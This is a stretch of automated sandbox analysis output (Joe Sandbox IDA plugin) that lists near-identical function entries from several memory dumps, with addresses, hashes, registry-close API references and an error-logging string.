
Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 7b4dabeff1d3f2b3154452b78c37af8fb2a924e4141310c203bccd55459aa073
Instruction ID: 3c4d095f3d8c9005d2e9ac2234a5357b54c78f9a33c32730250a648b2c0292d4
Opcode Fuzzy Hash: 7b4dabeff1d3f2b3154452b78c37af8fb2a924e4141310c203bccd55459aa073
Instruction Fuzzy Hash: 66F0F62260820A42E5529F88F8413B97344BF847E4F080136DF4D46691DF2DD985C300

Function 00007FF8B915B418 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

registry_get_value, xrefs: 00007FF8B915B3F6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 29437ac4afbfda1d0549fadbdcd205bb5e1de10d9f53cd31b8a2290d1309ccbd
Instruction ID: 74429e1f76944a5e09356b704ab23aa6a6212c393a85389d950b6235482401ca
Opcode Fuzzy Hash: 29437ac4afbfda1d0549fadbdcd205bb5e1de10d9f53cd31b8a2290d1309ccbd
Instruction Fuzzy Hash: 39F09662A1878642E5528F18F8403756254FF447E4F198236DF4D87690EF2CF989F700

Function 00007FF8B915B2FD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

registry_get_value, xrefs: 00007FF8B915B3F6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: cace5ebabb9363b8966dec080f45c5113ce0fff2ffdb2ee5c196495c6adaa64c
Instruction ID: 4a759241da14da64db076c28c99972bda0f9c313e3dd72f4964756aec9ee2d21
Opcode Fuzzy Hash: cace5ebabb9363b8966dec080f45c5113ce0fff2ffdb2ee5c196495c6adaa64c
Instruction Fuzzy Hash: 80F09062A1878A82E5528F18B8403B96254FF457E4F598236EF4D87690EF2CF989E700

Function 00007FF8B915B307 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

registry_get_value, xrefs: 00007FF8B915B3F6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 94c313a93f3fcc94334b073feae1166a67dda0c898543ef0da23008a7acd5d45
Instruction ID: 3aec7a6c73b3824081ee5b6c46e0b6d8796d8e6b23bdcbb4fede6599e1dd3204
Opcode Fuzzy Hash: 94c313a93f3fcc94334b073feae1166a67dda0c898543ef0da23008a7acd5d45
Instruction Fuzzy Hash: 02F09062A1878A82E5528F18FC403B96254FF457E4F598236EF4D87690EF2CF989A700

Function 00007FF8B915B39C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

registry_get_value, xrefs: 00007FF8B915B3F6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: a6dc7d9a45d4f0885938b8d6bee443f9b6c71ed4e1913be312bb925606633a80
Instruction ID: ba3e34913068421b90eb1d7be8f986b3289a8f101b106263f7b56e494a9a344a
Opcode Fuzzy Hash: a6dc7d9a45d4f0885938b8d6bee443f9b6c71ed4e1913be312bb925606633a80
Instruction Fuzzy Hash: C6F09062A1878A82E5528F18B8403B96254FF457E4F598236EF4D87690EF2CF989E700

Function 00007FF8B915B38E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

registry_get_value, xrefs: 00007FF8B915B3F6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 43a66c7a40e50f2705813a1cfc1b0f86665661e007711cb612dbde3ccfe57ede
Instruction ID: 100a31e855ac35467210143eb3b9aa4aaf5623f089f314565573440b2f2f62bd
Opcode Fuzzy Hash: 43a66c7a40e50f2705813a1cfc1b0f86665661e007711cb612dbde3ccfe57ede
Instruction Fuzzy Hash: 04F09662A1878642E5538F18BC403796254FF457E4F598236DF4D87690EF2CF985E700

Function 00007FF8BFAB80EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFAB810D

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFAB815D
registry_get_value, xrefs: 00007FF8BFAB8156

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 4431de4f8124a7a94acb3b6e3692c454a9cb3ecc2e31de966fdae785209df37a
Instruction ID: eef4070d774a0e3ff1dbb1ae9263f11ce3c6cf47ec5e530c2be01453ede4519c
Opcode Fuzzy Hash: 4431de4f8124a7a94acb3b6e3692c454a9cb3ecc2e31de966fdae785209df37a
Instruction Fuzzy Hash: 52F0F62260CB0A41E5569F8CBC423B5A358EF447DDF041236DF2D466D1DF3DD98A9300

Function 00007FF8BFAB8067 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFAB810D

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFAB815D
registry_get_value, xrefs: 00007FF8BFAB8156

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 7ce75c16e399c1183033e576a59c15f89c45a6ed3088f81472bba314161fe703
Instruction ID: c90c0b90fc821935a9f645509f75f1b788668e2aa7f0b448039d458b528eef7e
Opcode Fuzzy Hash: 7ce75c16e399c1183033e576a59c15f89c45a6ed3088f81472bba314161fe703
Instruction Fuzzy Hash: A2F0F62260CB0A41E5569F8CBC423B5A358BF447DDF041236DF2C466D1DF3DD98A9300

Function 00007FF8BFAB805D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFAB810D

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFAB815D
registry_get_value, xrefs: 00007FF8BFAB8156

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 595959e12e0d8d791a9631b33b262330948874470473a6cf288e0f8731749f32
Instruction ID: d09650fc0ac4feb6b3c32af8598c7bfac8fa19dea34ce169704de77c22a2ef5c
Opcode Fuzzy Hash: 595959e12e0d8d791a9631b33b262330948874470473a6cf288e0f8731749f32
Instruction Fuzzy Hash: F6F0F62260CB0A45E5569F8CBC423B5A358AF447DDF041236DF2D466D1EF3DD98A9300

Function 00007FF8BFAB8178 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFAB810D

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFAB815D
registry_get_value, xrefs: 00007FF8BFAB8156

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 8b6597c3c96ecf1030993586f09daf402de802ff915c0124a2dd22e0bd7580e4
Instruction ID: 57000f02178794721eb85fa1795b10a0b2edc10302aaa885fdbb47284aad253c
Opcode Fuzzy Hash: 8b6597c3c96ecf1030993586f09daf402de802ff915c0124a2dd22e0bd7580e4
Instruction Fuzzy Hash: 6AF0F62260CB0A41E5569F8CBC423B5A358BF447DDF081236DF6D466D1DF3DD98A9300

Function 00007FF8BFAB80FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFAB810D

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFAB815D
registry_get_value, xrefs: 00007FF8BFAB8156

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: f5e9a1a5a4fa95b997aadb3c19c1bfd70e8aa5bab72be4b72225d5cd458617d4
Instruction ID: d9e87bf38dd85c83f857e9b8d3508449dc46c98c581fb0c783e0d7da91559868
Opcode Fuzzy Hash: f5e9a1a5a4fa95b997aadb3c19c1bfd70e8aa5bab72be4b72225d5cd458617d4
Instruction Fuzzy Hash: 6AF0F62260CB0A42E5569FCCBC423B5A358AF447DDF041236DF2D466D1DF3DD98A9700

Function 00007FF8BA50891D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA5089CD

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

registry_get_value, xrefs: 00007FF8BA508A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA508A1D

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: df9030146c483eeb1c42cd23e8c33ca0e0a20dd8f7b5618f4459904781ca7a31
Instruction ID: c812bb573956c658634088bc6e4d75ac5a506c9f6f57d2c59da15610f4592840
Opcode Fuzzy Hash: df9030146c483eeb1c42cd23e8c33ca0e0a20dd8f7b5618f4459904781ca7a31
Instruction Fuzzy Hash: 89F09C5260C70692E5619F88BC807B67354AF467D5F480276DF4D466A0EF3DDB499300

Function 00007FF8BA508927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA5089CD

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

registry_get_value, xrefs: 00007FF8BA508A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA508A1D

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: d70ce53f65cbd76b3d812b6a3b7d7fa9ae657fd1b9d78e245efc284ed06115be
Instruction ID: dae321e5793c3cbfa36ebce0a2f62fa308e3d1037e5e4e324bdb60768ef8a0a0
Opcode Fuzzy Hash: d70ce53f65cbd76b3d812b6a3b7d7fa9ae657fd1b9d78e245efc284ed06115be
Instruction Fuzzy Hash: C6F09C5260C60692E5619F88BC807B67354BF467D4F480176DF4D466A0EF3DDB499300

Function 00007FF8BA5089BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA5089CD

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

registry_get_value, xrefs: 00007FF8BA508A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA508A1D

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: e6d6454d9d8ed6389c828c79f8ce65ad1eb9fe4b924b38bced701f5c03ddeb45
Instruction ID: c0b707f234b4df7c3ccf6817a33467e7db5c3181a6a165151b784822f1704088
Opcode Fuzzy Hash: e6d6454d9d8ed6389c828c79f8ce65ad1eb9fe4b924b38bced701f5c03ddeb45
Instruction Fuzzy Hash: D7F09C5260C60692E5619F88BC807B67354AF467D4F480176DF4D466A0EF3DDB499700

Function 00007FF8BA5089AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA5089CD

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

registry_get_value, xrefs: 00007FF8BA508A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA508A1D

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1683aa44052c06ac712ff3a27e6fe50b9ff14011bc9dd6c1858f5456d2b15749
Instruction ID: 5127b45b4583536379e1959dcba5bac7d522acbb8b647fd0901029fadbe85a85
Opcode Fuzzy Hash: 1683aa44052c06ac712ff3a27e6fe50b9ff14011bc9dd6c1858f5456d2b15749
Instruction Fuzzy Hash: 66F09C5260C60692E5629F88BC807B67354EF467D4F480176DF4D466A0EF3DDB499300

Function 00007FF8BA508A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA5089CD

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

registry_get_value, xrefs: 00007FF8BA508A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA508A1D

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
